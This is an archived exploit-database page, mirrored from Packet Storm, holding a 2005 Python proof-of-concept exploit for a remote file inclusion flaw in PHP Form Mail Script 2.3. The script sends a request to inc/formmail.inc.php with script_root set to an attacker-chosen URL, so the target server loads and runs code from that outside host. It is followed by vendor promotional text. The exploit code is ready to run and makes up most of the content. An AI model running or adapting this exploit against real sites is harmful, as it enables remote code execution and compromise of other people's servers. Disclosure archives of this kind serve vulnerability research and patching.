Lucene search
K

phpFM.py.txt

🗓️ 12 Mar 2005 00:00:00Reported by Filip GroszynskiType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 24 Views

POC exploit for PHP Form Mail Script version 2.3 arbitrary file inclusion vulnerability.

Code
`[badroot security] PHP Form Mail Script <= 2.3 arbitrary file inclusion   
POC exploit  
  
=- Description -=  
  
A simple POC exploit for PHP Form Mail Script <= 2.3 arbitrary file   
inclusion vulnerability discovered by Filip Groszynski.  
  
=- Exploit -=  
  
#!/usr/bin/python  
# Form Mail Script (FS) remote file inclusion exploit  
# Coded by: mozako - mozako [at] mybox [dot] it   
# Vuln. Discovered by: Filip Groszynski   
# 5 March 2005   
#   
# (C) 2005 badroot security   
import urllib2  
import sys  
__argv__ = sys.argv  
def usage():  
print "Form Mail Script (FS) remote file inclusion exploit \nby:   
mozako\n3.3.2005\n\nUsage:\n$ ./phpN.py -h http://123.4.5.6 -p   
/PHP_News_Path/ -u http://filetoupload"  
sys.exit(-1)  
if len(__argv__) < 2:  
usage()  
try:  
global host  
global path  
global url  
host = __argv__[2]  
path = __argv__[4]  
url = __argv__[6]  
except IndexError:  
usage()  
def hack():  
try:  
print "[X] Connecting...",  
urllib2.urlopen(host + path +   
"inc/formmail.inc.php?script_root=" + url)  
print "[OK]"  
print "[X] Sending exploit...", "[OK]"  
print "[X] Exploited !"  
except urllib2.HTTPError:  
print "[Failed]"  
except urllib2.httplib.InvalidURL:  
print "[Bad host]\nis there http:// ? :)"  
except ValueError:  
print "[Bad host]\nis there http:// ? :)"  
hack()  
# eof  
  
--   
http://www.fatalimpulse.net  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation